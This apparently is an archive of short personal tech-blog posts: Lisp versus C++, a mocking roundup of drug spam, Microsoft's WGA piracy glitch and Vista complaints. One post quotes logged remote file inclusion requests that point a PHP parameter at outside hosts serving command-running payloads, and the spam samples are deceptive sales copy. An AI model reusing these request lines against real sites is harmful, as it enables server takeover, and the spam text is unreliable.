After spending a week and a half studying both the PDF version of Seibel’s Practical Common Lisp and my copy of Graham’s ANSI Common Lisp (comparison coming soon), I coded up some algorithms for the next Project X prototype in the language yesterday.
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It’s time once again for the best of the worst of spam!
The winner of this week’s couldn’t-buy-a-clue-with-a-roll-of-quarters prize:
Subject: {subj_spamit}
Viagra Pro (SALE 50%)
- Increase S*e*x Drive
- Boost Sexual Performance
- Fuller & Harder Erections
- Increase Stamina & Endurance
- Quicker Recharges
- Improved sildenafil citrate formula
- Works in less than 15 minutes
- Best p*r*i**ce on the internet
BUY NOW
Two points here. First, there’s no URL and no link. I guess I’m supposed to just go out and buy it, no matter who from. Maybe the spammer holds stock in Pfizer. Second, he really should figure out how to use his new spamming software, the subject line is a dead giveaway, as was another where the subject line was “{subj_bulker}” (which otherwise wasn’t amusing at all).
Honorable mention in this same category:
Subject: Get now your pack of Genuine Cialis!
Now you can order Authentic Viagra directly from Pfizer
All prices are tax/vat free and same-day free worldwide shipping also included.
Out of pure pity, we’ll give them a clue: Viagra and Cialis are two different drugs, created by two different companies. Claiming to sell one direct from the manufacturer, in a message titled with the other… better luck with your next roll of quarters, guys.
The Incomprehensibility Prize this week goes to this gem:
Subject: read be roundsman connect
deszczu Jesz lepji be be o
RaViAg - $1.72
C_i-l_is - $2.68
L-vi-ra - $3.92
S- _m-a - $0.69WAYTALL.CN
v chace. Cze te s sto takji Ale
Wow, RaViAg is down to $1.72. The message bears a strong resemblance to line noise, but I feel an incredible urge to go immediately to the URL listed there to buy me some of that.
Winners of the Nice Try award for virus/Trojan distribution were the two messages that thanked me for joining Ringtone World and Webtunes, and asked me to log in to each of them within 24 hours to change my temporary password. Unfortunately, both of them came in at about the same time, and the similarities between them (as well as the numeric IP addresses) rather gave away the plot.
The Worst Engrish award goes to this one:
Fellow!!!
with our meds your health medicinal preparations!
The most panic prices you can pass by.
We will assist you in any case.
Our On-line drug-store runs round the clock 7 days a week for you only!!!Receive our present to feel well!!!
Ideal maintenance fast supply Unselfish assistance!
On the other hand, there is light at the end of the tunnel. We’re happy to announce our first Most Improved English award this week. Here is a “before” sample:
Subject: My boyfriend’s shaft is too big for my mouth.
Boytoys always whooped at me and even fellows did in the free toilet!
Well, now I hee-haw at them, because I took Mega. Dik
for 4 months and now my pecker is indeed bigger than world.
“Boytoys”? “hee-haw”? “my pecker is indeed bigger than world”?
And since the writer of the message is presumably a guy, the subject line is… rather interesting. 
A second “before” sample:
Subject: My new guy’s member is enormous, and my mouth is tiny.
Dames always whizgiggled at me and even gars did in the unrestricted lavatory!
Well, now I laugh at them, because I took M eg ad ik
for 7 months and now my penis is very much best than civil.
“Dames” and “gars”? “very much best than civil”? “whizgiggled“?!? And apparently this is another gay guy too, from the subject line.
But check out this “after” sample:
Subject: MegaDik has been labelled an “Herbal Breakthrough”
All Ladies always laughed at me and even guys did in the public toilets!
Well, now I laugh at them, because I took MegaDik
For 5 months and now my dick is much bigger than “average” size.
Good Lord, they took my advice and got a native English speaker to write their copy! Not a good one, granted… it’s “labeled,” not “labelled;” “Ladies” and “For” shouldn’t be capitalized there; and the second line-break is in a pretty odd place. But you have to admit, it’s far better than the earlier chuckle-worthy attempts.
Some other amusing ones this week: “Do you want your dick to be in million of womens screensavers?” (Not particularly, thanks.) “Penis Enlarge Patch can enlarge your dick so much it would b” (So much that it would block you from finishing the sentence, maybe?) “Subject: Paris Hilton likes them big” (And I’m supposed to care about her opinion why?)
Finally, the overall Most Amusing Spam award for the week goes to this one:
Hey, can you make love more that 10 minutes?
Yes, you can with our “manpower candies”
“Manpower candies.” Sheer freakin’ comic genius. 
Oh, lovely. Microsoft falsely accuses twelve thousand people of piracy over the weekend, and considers it nothing but a “glitch.” If my company had a “glitch” like that, we’d likely be out of business come Monday.
I hadn’t noticed the problem here, but that may have something to do with the fact that only two of our weekend-running systems are still running Windows (XP), and one of those is only rebooted when it absolutely has to be (maybe once every month or two). Then too, I’ve declined the WGA “security upgrade” on most of our systems, so it only gets a chance to falsely accuse me of piracy when I manually update it — and since security updates are installed automatically, and have been for some time, that means maybe once a year.
Between the ever-present security headaches, Windows Vista, and this kind of thing, it looks like other people are deciding to abandon Microsoft wherever possible too. Microsoft’s recent mistakes may be the best things that have ever happened for MacOS and Linux.
My post last week on how a long-time C++ aficionado (me) finally accepted that Lisp is a better programming language got a lot of hits. And I do mean a lot of hits: over a three-day period, nearly eleven times as many people visited Geek Drivel (to see that entry) as had visited in the entire month before that, which to that point had been Geek Drivel’s most popular month.
The reason is obvious, of course: that article was picked up on Reddit, Y-Combinator, and apparently a few other sites as well. It was an interesting glimpse at what it must be like to have a truly popular blog.
The vast majority of comments on it were less than flattering. Fortunately, I’ve developed a thick skin over the years. People didn’t like my use of the term “better” (which admittedly was an imprecise choice of words, but it’s still the best one I can find). Some sneered at the example that finally convinced me (which misses the point completely, it’s the combination of what you can do in the language, how quickly you can develop the code for it, and the sheer elegance of it that makes it better, not that specific example). Others disdainfully dismissed the entire premise with comments such as “C/C++ is still faster,” or “gives you more control over low-level details like memory allocation” (both of which are true, but irrelevant to the article). But obviously I’d hit a nerve somewhere, because a lot of people still came to read it, though I’ll never know whether they agreed, disagreed, or just wanted to see what all the fuss was about.
I wish I had some insightful piece of wisdom to offer about that, but so far all I can see is that if you want a popular blog entry, post something that is controversial, and that people feel strongly about. It’s a good thing that any impulse to seek popularity was beaten out of me in childhood.
Teenagers apparently think that e-mail is only for us old fogies.
Over the past couple days, I’ve noticed three odd URLs in my web logs, from three different IP addresses, all using different versions of libwww-perl as the browser ID:
/category//includes/global.php?nbs=http://nusay.webng.com/31337.txt??? /category//includes/auth.php?nbs=http://nusay.webng.com/31337.txt?? /category//includes/global.php?nbs=http://usuarios.arnet.com.ar/larry123/safe.txt?
Curious, I checked out the “31337.txt” and “safe.txt” files… they were very similar, both consisting of near-identical PHP instructions that tried to get information about the system and run system commands. It looks like some kind of cross-site scripting attack attempt. I did a Google search on one of the more unique lines and discovered that this is some script-kiddie’s new toy… at least one botnet has been spewing these things out for the last several days. I’m not sure what it’s trying to exploit, but I’m happy to say that WordPress 2.2.2 (just released a few weeks ago, and which I upgraded to almost immediately) seems to be immune to it.
I’ve been using C and C++ for over twenty years now, and I’m very fluent in both of them. C++ has been my preferred language for pretty much any programming task for most of that time, and I haven’t seen any point to learning other programming languages because some of them are at best equivalent in power to C++, and most are noticeably poorer.
However, as I described a few days ago, I decided to learn Lisp, primarily because Paul Graham insists that it’s the most powerful language out there. I couldn’t see that it was any more powerful than C++, but enough smart people seemed to agree with Paul that I had to admit that I could be wrong on that score.
Well, I just finished chapter nine of Practical Common Lisp, and I’m finally convinced.
Up until now, everything that I’d seen done in Lisp could easily be done in C++ too. The only real difference was a little more verbosity. But the unit-testing framework that was developed in that chapter… while I think I could do the same thing in C++ with the Boost library, template functions, function pointers, and a C-style macro, it still wouldn’t be nearly as elegant as the Lisp version, and it would be noticeably more verbose. And it would require some fairly esoteric C and C++ features, things that even I — a fluent user with decades of experience behind me — would have to delve into reference works to figure out, whereas it uses only standard features of the Lisp language. It would also take me about the same amount of coding time in both languages, which considering my very different levels of expertise in them, is another big win for Lisp.
I’m still planning to use C++ for most of my professional work — I worked long and hard for the kind of expertise that I have in it, and all of my professional tools are geared toward it as well. But Lisp is definitely going to play a big part in my personal programming from now on, and likely in the prototyping stages of my professional code as well.
JoelOnSoftware (an ex-Microsoft employee) posted an absolutely scathing commentary on Vista and Office 2007’s packaging yesterday, along with a devastating comment on Vista itself:
I’ve been using Vista on my home laptop since it shipped, and can say with some conviction that nobody should be using it as their primary operating system — it simply has no redeeming merits to overcome the compatibility headaches it causes. Whenever anyone asks, my advice is to stay with Windows XP (and to purchase new systems with XP preinstalled).
I’m hearing that kind of comment from more and more people. Wake up, Microsoft!